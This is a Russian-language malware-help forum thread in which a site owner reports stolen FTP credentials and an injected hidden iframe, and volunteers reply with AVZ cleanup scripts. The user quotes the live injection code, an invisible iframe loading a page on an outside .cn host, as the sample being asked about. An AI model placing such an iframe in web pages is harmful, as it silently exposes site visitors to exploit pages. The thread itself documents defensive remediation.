Кража фтп-паролей

[maximba]

Емеется несколько сайтов Периодически в файлах стартовой страницы появляется странный код типа этого:

<iframe src="http://ultralitecar.cn:8080/index.php" width=177 height=104 style="visibility: hidden"></iframe>

Причем на каждом сайте. Поменял пароли фтп -не помогло. Похоже, какая-то дрянь отправляет пароли своим владельцам или сама соединяется по фтп Еще странное дело - когда открываю некоторые сайты зачем-то запускается Акробат. Можно тут чем-то помочь?

[Kuzz]

1.AVPtool, "Ручное лечение" --> Скопировать ниже написанный скрипт--> Нажать кнопку "Выполнить".

begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
 QuarantineFile('C:\WINDOWS\system32\drivers\i386si.sys','');
 QuarantineFile('c:\Program Files\Common Files\Protexis\License Service\PsiService_2.exe','');
 QuarantineFile('C:\WINDOWS\System32\ATMsrvc.exe','');
 QuarantineFile('C:\WINDOWS\TWAIN_32\S6U12BX\SBSpi_T.dll','');
 QuarantineFile('C:\WINDOWS\system32\dnssd.dll','');
 QuarantineFile('c:\program files\webmoney agent\wmagent.exe','');
 DeleteFile('C:\WINDOWS\system32\drivers\i386si.sys');
BC_ImportDeletedList;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.

После выполнения скрипта компьютер перезагрузится.

Потом еще один:

begin
 CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.

Прислать карантин согласно дополнения Как прислать запрошенные файлы.
Он находится в папке программы и называется "quarantine.zip"
Загружать по красной ссылке вверху этой темы "Прислать запрошенный карантин"

2.Повторить логи

Добавлено через 3 минуты

Еще странное дело - когда открываю некоторые сайты зачем-то запускается Акробат

Очень похоже на то, что эти сайты тоже заражены. Т.к. для заражения пользовательских машин используются эксплоиты и для адобовских продуктов - запуск ридера показателен.

[maximba]

А что значит "Повторить логи"?

[Rene-gad]

А что значит "Повторить логи"?

Повторите в точности действия, описанные в пп.1 - 3 раздела правил Диагностика, новые логи прикрепите к новому сообщению.

[maximba]

Лог

[Rene-gad]

Прочитайте и выполните: http://virusinfo.info/showthread.php?t=43700
- Удалите Bonjour.
Жалобы есть?

[CyberHelper]

Статистика проведенного лечения:

• Получено карантинов: 1
• Обработано файлов: 5
• В ходе лечения вредоносные программы в карантинах не обнаружены